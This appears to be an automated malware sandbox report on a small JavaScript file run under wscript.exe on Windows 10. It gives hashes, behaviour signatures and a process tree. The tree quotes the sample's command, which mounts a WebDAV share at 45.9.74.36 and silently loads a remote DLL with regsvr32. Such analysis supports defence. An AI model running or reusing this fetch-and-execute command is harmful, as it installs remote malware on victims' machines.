Analysis

  • max time kernel
    93s
  • max time network
    124s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/07/2024, 01:27

General

  • Target

    1f812a86dce1ebc1ff29369dfc2ddd55a52bad36288024d17863065bf6cb5ead.js

  • Size

    3KB

  • MD5

    aaba1888e3aed79b76370f458858cd7c

  • SHA1

    72d2d0a411fde40080ecdd09dbe594eb2555d191

  • SHA256

    1f812a86dce1ebc1ff29369dfc2ddd55a52bad36288024d17863065bf6cb5ead

  • SHA512

    42abe150d368c4e915afe9b74a3c1e59004fc72b5a5729b10a0219a23c593d4f0c5dcda9216c7334a3e5e69e8fde1bfff9ff9669df735e0ec219f19caa02fb84

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\1f812a86dce1ebc1ff29369dfc2ddd55a52bad36288024d17863065bf6cb5ead.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2408
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\38041904116266.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3144
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:1272

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads